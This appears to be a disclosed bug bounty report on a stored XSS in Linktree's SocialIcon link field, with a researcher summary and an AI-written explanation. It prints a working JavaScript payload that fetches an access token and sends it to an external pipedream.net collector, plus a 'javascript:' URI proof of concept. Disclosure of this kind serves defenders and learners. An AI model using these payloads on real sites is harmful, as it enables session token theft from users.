XSS in SocialIcon Link
The SocialIcon link field accepted a javascript URI without validation, allowing script execution in the context of the page. Because session cookies were HttpOnly, the reporter instead fetched an API endpoint that returned an access token and exfiltrated it.
- Triaged in 14 days
- Fixed in 44 days
- Paid in 14 days
- Disclosed after 48 days
Summary by the program
XSS in SocialIcon Link
Summary by the researcher
There was no validation of the url provided for the SocialIcon Link , which allowed to include javascript uri . As the cookies were marked as httponly , I couldn't steal them directly via the xss so instead I found an endpoint which was leaking the accessToken used for authentication.
await fetch("https://linktr.ee/api/token", {
"credentials": "include",
"method": "GET"
})
.then((response) => response.json())
.then((responseJson) => {
fetch("https://en2celr7rewbul.m.pipedream.net/?token="+responseJson["accessToken"]);
})
Final POC:
javascript://https://amazon.com/shop/x%0Aeval(\"(async()=>{await+fetch('https://linktr.ee/api/token').then((response)=>response.json()).then((responseJson)=>{alert(responseJson['accessToken']);})})()\")
POC in action: https://youtu.be/598GUqKrNvw
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could run script in the victim's session and steal an access token, though HttpOnly cookies prevented direct cookie theft.
What the attacker needed
Ability to set a SocialIcon link; victim clicks the crafted link
How it was found
- Set the SocialIcon link to a javascript URI that runs code.
- When the link is clicked, the code fetches the token endpoint with credentials included.
- The returned access token is sent to an attacker-controlled endpoint.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A profile page let users set a link for a social icon, but it did not check what kind of link it was. By supplying a link that starts with 'javascript:', the browser runs the text after it as code when the link is clicked. The attacker used that code to ask the site for a login token and send it to their own server.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.